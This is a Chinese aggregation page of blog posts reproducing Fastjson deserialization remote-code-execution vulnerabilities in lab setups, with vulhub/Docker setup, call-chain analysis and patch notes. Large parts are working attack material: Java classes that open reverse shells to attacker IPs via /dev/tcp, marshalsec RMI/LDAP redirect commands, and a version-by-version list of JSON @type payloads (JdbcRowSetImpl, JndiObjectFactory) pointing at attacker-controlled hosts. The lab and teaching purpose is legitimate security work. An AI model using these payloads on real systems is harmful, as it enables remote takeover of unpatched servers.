精华内容
下载资源
问答
  • Fastjson

    2020-08-07 16:44:02
    一、检测 1.2.67以下的fastjson {"@type":“java.net.Inet4Address”,“val”:“dnslog”} {"@type":“java.net.Inet6Address”,“val”:“dnslog”} 但是有的不成功。 二、利用 Docker搭建环境 2.1生成poc 下面...

    一、检测 1.2.67以下的fastjson

    {"@type":“java.net.Inet4Address”,“val”:“dnslog”}
    {"@type":“java.net.Inet6Address”,“val”:“dnslog”}
    但是有的不成功。

    二、利用

    Docker搭建环境

    在这里插入图片描述

    2.1生成poc

    下面文件为反弹shell,替换成这一句,dnslog检测。
    String[] commands = {“ping”, “eqkkk1.dnslog.cn”};
    创建一个文件,TouchFile.java

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.88.141/7777 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    
    

    2.2 编译文件,生成TouchFile.class

    Javac TouchFile.java

    2.3 启用web服务,可以访问刚生成的TouchFile.class文件

    在这里插入图片描述

    2.4 利用marshalsec-0.0.3-SNAPSHOT-all.jar工具进行rmi转发,我将这个工具和.Class文件都放在了一个vps上

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.141:3333/#TouchFile" 9999
    

    在这里插入图片描述

    2.5监听7777端口

    在这里插入图片描述

    2.6访问目标网站,将GET改为POST,并加上exp

    Fastjson 1.2.24 版本

    {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.88.141:9999/TouchFile","autoCommit":true}}
    

    在这里插入图片描述

    虽然还没响应

    在这里插入图片描述

    也可以这样
    在这里插入图片描述

    反弹成功
    在这里插入图片描述

    其他版本,前面的都一样,更改包里面的exp就ok了。

    1.2.24
    {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
    
    未知版本(1.2.24-41之间)
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
    1.2.41
    {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
    1.2.42
    {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
    
    1.2.43
    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
    
    1.2.45
    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
    
    1.2.47
    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
    
    展开全文
  • 目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发...

    目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。

    0x01 Fastjson简介

    Fastjson 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 https://github.com/alibaba/fastjson

    0x02 环境搭建

    JDK 版本:8u112fastjson: 1.2.67shiro: 1.5.1slf4j-nop: 1.7.25

    0x1 添加依赖包

    为了快速添加项目所需要的jar包,创建Maven项目如下

    pom.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
    
        <groupId>groupId</groupId>
        <artifactId>Fastjson1.2.66_RCE</artifactId>
        <version>1.0-SNAPSHOT</version>
        <dependencies>
            <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.67</version>
            </dependency>
    
    
            <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.5.1</version>
            </dependency>
    
    
            <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-simple</artifactId>
            <version>1.7.25</version>
            <scope>test</scope>
            </dependency>
    
    
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-nop</artifactId>
                <version>1.7.25</version>
            </dependency>
    
    
        </dependencies>
        <properties>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
            <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
            <java.version>1.8</java.version>
            <maven.compiler.source>1.8</maven.compiler.source>
            <maven.compiler.target>1.8</maven.compiler.target>
        </properties>
    </project>
    

    之后右键pom.xml 点击下载source和document


    0x2 选择JDK版本

    该漏洞选择JDK 8u112


    0x3 编写漏洞代码

    在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数


    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    
    public class test {
        public static void main(String[] args) {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    
    
            String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";
            try {
                JSON.parseObject(payload);
            } catch (Exception e) {
                e.printStackTrace();
            }
    
    
        }
    }
    
    
    

    0x03 漏洞原理

    0x1 FastJson 类解析

    Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。

    FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

    fastjson.java

    package com.teddy.fastjson;
    
    
    import com.alibaba.fastjson.JSON;
    import java.io.IOException;
    
    
    public class fastjson {
    
    
        public String name;
        public String age;
        public fastjson() throws IOException {
        }
    
    
        public void setName(String test) {
            System.out.println("name setter called");
            this.name = test;
        }
    
    
        public String getName() {
            System.out.println("name getter called");
            return this.name;
        }
    
    
        public void setAge(String test) {
            System.out.println("age setter called");
            this.age = test;
        }
        public String getAge(){
            System.out.println("age getter called");
            return this.age;
        }
    
    
        public static void main(String[] args) {
            Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
            System.out.println(obj);
            System.out.println("------------");
            Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
            System.out.println(obj2);
        }
    
    
    }
    

    result

    name setter called
    age setter called
    com.teddy.fastjson.fastjson@66480dd7
    ------------
    name setter called
    age setter called
    age getter called
    name getter called
    {"name":"thisisname","age":"thisisage"}
    


    由结果可以看出调用parseObject 函数会调用getattr方法。

    0x2 漏洞调用链分析

    调用栈分析

    1. parseObject 对象类型转换

    这一步的操作是将obj对应的对象类型转化为json格式,这势必要方位getattr 对象方法,从而触发漏洞。

    2. 反射调用

    通过invoke方法,调用getinstance方法

    3. 触发ldap

    在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)

    0x3 JNDI 注入

    Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

    其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

    注入方法:

    1. JNDI Reference 配合 RMI

    2. JNDI Reference 配合 LDAP

    RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");

    若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。

    1 RMI

    RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。

    2 LDAP

    LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

    该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。

    0x04 漏洞利用

    0x1 编译Java 利用代码

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.Reader;
    import javax.print.attribute.standard.PrinterMessageFromOperator;
    public class ExecTest {
        public ExecTest() throws IOException,InterruptedException{
            String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
            final Process process = Runtime.getRuntime().exec(cmd);
            printMessage(process.getInputStream());;
            printMessage(process.getErrorStream());
            int value=process.waitFor();
            System.out.println(value);
        }
    
    
        private static void printMessage(final InputStream input) {
            // TODO Auto-generated method stub
            new Thread (new Runnable() {
                @Override
                public void run() {
                    // TODO Auto-generated method stub
                    Reader reader =new InputStreamReader(input);
                    BufferedReader bf = new BufferedReader(reader);
                    String line = null;
                    try {
                        while ((line=bf.readLine())!=null)
                        {
                            System.out.println(line);
                        }
                    }catch (IOException  e){
                        e.printStackTrace();
                    }
                }
            }).start();
        }
    }
    


    命令行编译class文件

    /Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java
    



    0x2 开启 LDAP 服务

    使用marshalsec启动一个ladp服务器 ,下载地址为https://github.com/mbechler/marshalsec

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit


    0x3 开启HTTP Web 服务

    将编译好的Exploit.class 放在web目录下并开启服务

    0x05 漏洞补丁

    这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包https://github.com/LeadroyaL/fastjson-blacklist

    该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了

    对应的具体代码如下图所示,在   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理

    黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。

    if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    hash ^= className.charAt(i);
                    hash *= PRIME;
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                        if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                            continue;
                        }
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
    


    0x06 参考链接

    本文项目链接 https://github.com/ctlyz123/fastjson_vul
    
    
    https://www.jianshu.com/p/776c56fc3a80
    
    
    https://github.com/LeadroyaL/fastjson-blacklist
    
    
    http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
    
    
    https://www.freebuf.com/column/189835.html
    
    
    https://cloud.tencent.com/developer/article/1601977
    
    
    https://paper.seebug.org/994/#0x01-fastjson
    

    Java反序列漏洞

    https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001

    欢迎投稿至邮箱:edu@heetian.com

    有才能的你快来投稿吧!

    投稿细则都在里面了,点击查看哦

    重金悬赏 | 合天原创投稿涨稿费啦!

    展开全文
  • docker漏洞环境搭建并复现某fastjson漏洞 补一个之前复现fastjson漏洞的记录,poc已有 1、搭建docker(mac版) 参考链接:https://www.runoob.com/docker/macos-docker-install.html 安装成功后进行初始化 问题:...

    docker漏洞环境搭建并复现某fastjson漏洞

    补一个之前复现fastjson漏洞的记录,poc已有
    1、搭建docker(mac版)
    参考链接:https://www.runoob.com/docker/macos-docker-install.html
    安装成功后进行初始化
    在这里插入图片描述问题:发现80端口被占用
    解决:https://blog.csdn.net/haha223545/article/details/105244919,是apache占用了,所以停止apache服务即可:sudo apachectl stop
    在这里插入图片描述2、从git上拉取漏洞环境靶机vulhub(mac需要装好Git)
    在这里插入图片描述进入后能看到有许多漏洞环境
    在这里插入图片描述3、使用docker
    进入对应的文件夹,使用docker-compose up
    在这里插入图片描述成功启动,漏洞环境已经搭好
    4、开始漏洞攻击复现
    从docker中登录受害者靶机,可以查看是否有文件生成

    docker ps -a:查看ID
    
    docker exec -it ID /bin/bash
    

    在这里插入图片描述接下来有两种方式:

    1、使用另一台计算机作为攻击机和服务器端,进行攻击

    2、使用docker搭建一个服务器端,本机作为攻击机(不然攻击机和受害机IP会相同)

    • 记录第一种方法实践过程:

    选择同一网段下的另一个计算机,搭建服务器端

    查看IP,开启python Http服务(注意要和rmi在同一文件夹下开启,不然无法访问到文件的),打开rmi服务
    在这里插入图片描述
    IP为10.141.x.x,攻击语句:

    1、python3 -m http.server --bind 0.0.0.0 8888

    2、java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://x.x.x.x:8888/#Exploit” 9999

    3、python3 fastjson-1.2.47_rce.py http://s.s.s.s:8080/ rmi://x.x.x.x:9999/Exploit

    其中,第一句中的8888端口和第二句中的8888,端口号可改但须一致,第二句中的9999和第三句中的9999,端口号可改但须一致,x.x.x.x为本机IP,即攻击者ip,s.s.s.s为受害者靶机Ip,端口8080需要根据靶机环境进行更改
    在这里插入图片描述攻击成功后,能在受害者靶机上看到exphub文件,在http上也能看见请求,复现成功
    在这里插入图片描述

    展开全文
  • fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 0x01 漏洞概述 Fastjson1.2.47反序列化漏洞 首先,...

    0x00 简介

    fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

    0x01 漏洞概述

    Fastjson1.2.47反序列化漏洞

    首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

    0x02 影响版本

    Fastjson1.2.47以及之前的版本

    0x03 环境搭建

    所需资源取自我Sven师傅:

    unbutu&kali安装jdk:jdk8u181

    链接: https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取码: sven

    tomcat下载:

    链接:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

    Fastjson1.2.47:

    链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven

    工具:marshalsec,需要用mvn打包一下,

    github:https://github.com/mbechler/marshalsec

    链接(已打包好): https://pan.baidu.com/s/1kT9vwhNDDdiJ3dL9BS3U4w&shfl=shareset 提取码: sven

    方法一:使用docker搭建tomcat

    1、安装Docker

    yum install docker             

    2、拉取官方镜像

    docker pull tomcat

    3、映射到我服务器8080端口

    docker run --name tomcat -p 8080:8080 -d tomcat

    4、访问

    http://ip:8080/

    5、将fastjson环境安装在tomcat上

    这里我直接复制到tomcat的webapps目录下

    docker cp fastjson1.2.47  tomcat:/usr/local/tomcat/webapps/

    ①将jdk1.8.0_181复制到tomcat的/usr/java目录下

    ②解压tar -xzvf

    可使用docker exec -i -t tomcat /bin/bash命令查看docker中tomcat的目录

    ③访问http://ip:8080/fastjson1.2.47/

    目标是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:

    至此docker的fastjson反序列化漏洞环境搭建成功。

    方法二:本地搭建tomcat

    1、下载一个tomcat9

    https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

    2、将此压缩包复制到我的linux服务器上

    解压

    tar -zxvf apache-tomcat-9.0.27.tar.gz -C /

    mv /apache-tomcat-9.0.27 /tomcat9

    3、授予tomcat9这个文件夹777权限

    chmod -R 777 /tomcat9

    4、配置JDK版本及环境变量

    export JAVA_HOME=/usr/java/jdk1.8.0_181

    export JRE_HOME=/usr/java/jdk1.8.0_181/jre

    export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib

    export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin

    export CATALINA_HOME=/tomcat9

    5、启动tomcat

    进入tomcat9下的bin目录

    ./catalina.sh start

    最后复制fastjson1.2.47到webapps文件夹下,环境即搭建成功。

    0x04 漏洞利用

    此时/tmp目录

     

    1、编译Exploit.java

    javac Exploit.java

    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Exploit{
        public Exploit() throws Exception {
            Process p = Runtime.getRuntime().exec("touch /tmp/qiqi);
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    
            String line;
            while((line = reader.readLine()) != null) {
                System.out.println(line);
            }
    
            p.waitFor();
            is.close();
            reader.close();
            p.destroy();
        }
    
        public static void main(String[] args) throws Exception {
        }
    }
    

    2、使用python搭建一个临时的web服务

    [root@qiqi wordpress]# python -m SimpleHTTPServer  1111

    Serving HTTP on 0.0.0.0 port 1111 ...

    Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

    3、服务器使用marshalsec开启LDAP服务监听:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999

    Ps:使用marshalsec工具快捷的开启LDAP

    服务。借助LDAP服务将LDAP reference result 重定向到web服务器。

    LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。

    4、Exploit.class恶意类执行的命令是:

    在tmp目录下创建名为qiqi的文件。

    5、Burp发包

    使用EXP:

    {
    
        "name":{
    
            "@type":"java.lang.Class",
    
            "val":"com.sun.rowset.JdbcRowSetImpl"
    
        },
    
        "x":{
    
            "@type":"com.sun.rowset.JdbcRowSetImpl",
    
            "dataSourceName":"ldap://ip:9999/Exploit",
    
            "autoCommit":true
    
        }
    
    
    
    }

    6、此时/tmp目录

    7、GETSHELL

    同上步骤,不过是用Shell.java文件生成恶意类反弹shell

    import java.io.BufferedReader;
    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Shell{
        public Shell() throws Exception {
            Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    
            String line;
            while((line = reader.readLine()) != null) {
                System.out.println(line);
            }
    
            p.waitFor();
            is.close();
            reader.close();
            p.destroy();
        }
    
        public static void main(String[] args) throws Exception {
        }
    }

    0x05 修复方式

    将Fastjson升级到最新版本

    https://github.com/alibaba/fastjson

    0x06坑点

    1、Docker pull下来的tomcat默认jdk版本是1.8.0_232,需要更改一下docker的jdk版本。(坑了我半天,docker外jdk是1.8.0_181,但是docker中tomcat的启动环境是1.8.0_232)

    Docker中,在root用户下将JDK环境变量配置到了/etc/profile中,当时通过source /etc/profile命令使该文件生效,echo $JAVA_HOME时也没有问题,但是重启容器以后就又不生效了。

    解决:在/root/.bashrc文件中添加一句source /etc/profile(或者将环境变量的配置放到该文件中)

    2、在使用LADP服务反弹shell用的命令不能直接使用

    "bash -i >& /dev/tcp/47.101.72.112/10001 0>&1"

    3、jdk版本一定要注意!

    启动服务之前用 java -version查看自己的jdk版本是否低于以下jdk版本。

    参考文章:

    http://www.svenbeast.com/post/c0VE5mjC-/#0x03-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

    https://blog.csdn.net/lwcaiCSDN/article/details/87862025

    https://www.cnblogs.com/moonsoft/p/9264883.html

    https://www.cnblogs.com/Welk1n/p/11446519.html

    展开全文
  • Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。 Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。 Fastjson 特性: 提供...
  • fastjson漏洞复现

    2021-08-01 14:38:47
    fastjson漏洞复现fastjson漏洞原理简介靶机环境搭建漏洞探测发送一个错的数据包正确的数据包发送漏洞利用docker 搭建靶机编译恶意类启动HTTP服务启动rmi服务发送数据利用fastjson漏洞反弹shell fastjson漏洞原理简介...
  • 0x01 前言前一章简单介绍了jndi注入的知识,这一章主要是分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过jndi注入的方式实现RCE,所以我觉得是一个挺好的JNDI注入实践案例。...
  • fastjson1.2.24含源码

    2017-02-04 15:34:24
    fastjson1.2.24含源码
  • fastjson基本操作

    2015-11-06 11:42:11
    一、概述Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存...
  • fastjson-1.2.42

    2017-12-14 10:29:37
    fastjson, fastjson-1.2.42 ..............................
  • f.json工具 (https://github.com/alibaba/fastjson) g.消息中间件 (http://activemq.apache.org/) h.搜索引擎 (https://www.elastic.co/products/elasticsearch) 转载于:...
  • 公司的web项目全是java写的,作为java菜鸟,迫不得已来看fastjson的漏洞了,但分析是不可能会分析的,只能看看分析文章,复现一下勉强维持生活这样子。1. 背景fastjson是Alibaba开发的,java语言编写的高性能JSON库...
  • fastjson空对象不显示问题

    千次阅读 2017-03-02 16:09:47
    fastjson
  • fastjson反序列化漏洞

    千次阅读 2020-06-04 10:49:27
    文章目录一、fastjson 1.2.24反序列化漏洞1.1 漏洞简介1.1.1 漏洞阐述1.1.2 影响范围1.1.4 漏洞原理1.1.3 限制条件1.2 环境搭建1.3 漏洞利用1.4 防御建议二、fastjson 1.2.47反序列化漏洞 一、fastjson 1.2.24反序...
  • spring boot 配置fastjson

    万次阅读 2017-05-26 09:35:27
    spring boot 默认使用的json转换工具是jackson。集成fastjson,引入fastjson的jar,版本1.2.10+ <groupId>com.alibaba</groupId> <artifactId>fastjson <version>1
  • 最近一个月做的项目用到了 springboot和angualrjs ,但是之前在项目中因为用到的相关技术点就那么... 用来简化新Spring应用的初始搭建以及开发过程 嵌入的Tomcat,无需部署WAR文件 简化Maven配置 ...
  • 环境搭建:http://mvnrepository.com/artifact/com.alibaba/fastjson 简介 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到...
  • 1 import java.util.List... 3 import com.alibaba.fastjson.JSON; 4 import com.alibaba.fastjson.TypeReference; 5 6 public class FastJSONHelper { 7 8 /** 9 * 将java类型的对象转换为JSON格式的字符串 10
  • 一、搭建环境: https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce 提供的漏洞环境死活没复现出来只好自己搭建个环境了。 1、搭建tomcat环境 首先去tomcat官网下载tomcat ...2、将此压缩包复制到我的...
  • Fastjson 反序列化漏洞复现

    千次阅读 2020-04-14 09:46:50
    这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建搭建完成以后访问8090端口会出现如下所示 漏洞利用需要我们在vps上启一个RMI服务并调用class文件,这些我们都可以在一台服务器上完成。 首先我们先创建命令...
  • fastjson-1.2.62.zip

    2020-02-07 11:30:44
    alibaba fastjson解析源码加jar包 fastjson-1.2.62源码+已经编译好的jar包
  • 一.FastJson 简介 fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于...
  • Fastjson漏洞复现

    2021-01-06 17:01:29
    前言 靶场使用的是docker + vulhub,由于kali自带是jdk版本为11...环境搭建 安装java环境 下载地址:https://github.com/frekele/oracle-java/releases,下载jdk-8u221-linux-x64.tar.gz 1.卸载kali自带的java环境,重
  • 今天在写spring boot时,发现spring默认带的转json包为jackson,而一般都大家都会引入fastjson来替换。 引入fastjson的方式为,首先引入alibaba的fastjson包,然后在启动类中继承WebMvcConfigurerAdapter 重写 ...
  • Fastjson1.2.47简单利用

    2020-12-30 21:39:28
    Fastjson1.2.47版本反序列化漏洞 漏洞简介 fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 Fastjson提供...
  • Fastjson≤1.2.47 RCE

    2020-06-14 16:45:47
    Fastjson≤1.2.47 RCE 一、漏洞介绍 fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 首先,Fastjson提供...
  • fastJson解析框架的学习

    万次阅读 2014-12-08 20:27:25
    最近偶然间看到了以前写过的代码,发现了以前用的非常频繁的json解析框架fastjson。这个框架的确非常方便,帮助开发者省了很多的人工代码。以前那是因为没有时间写学习其中的原理,周末抽了点时间分析了下他的源码,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 9,888
精华内容 3,955
关键字:

fastjson搭建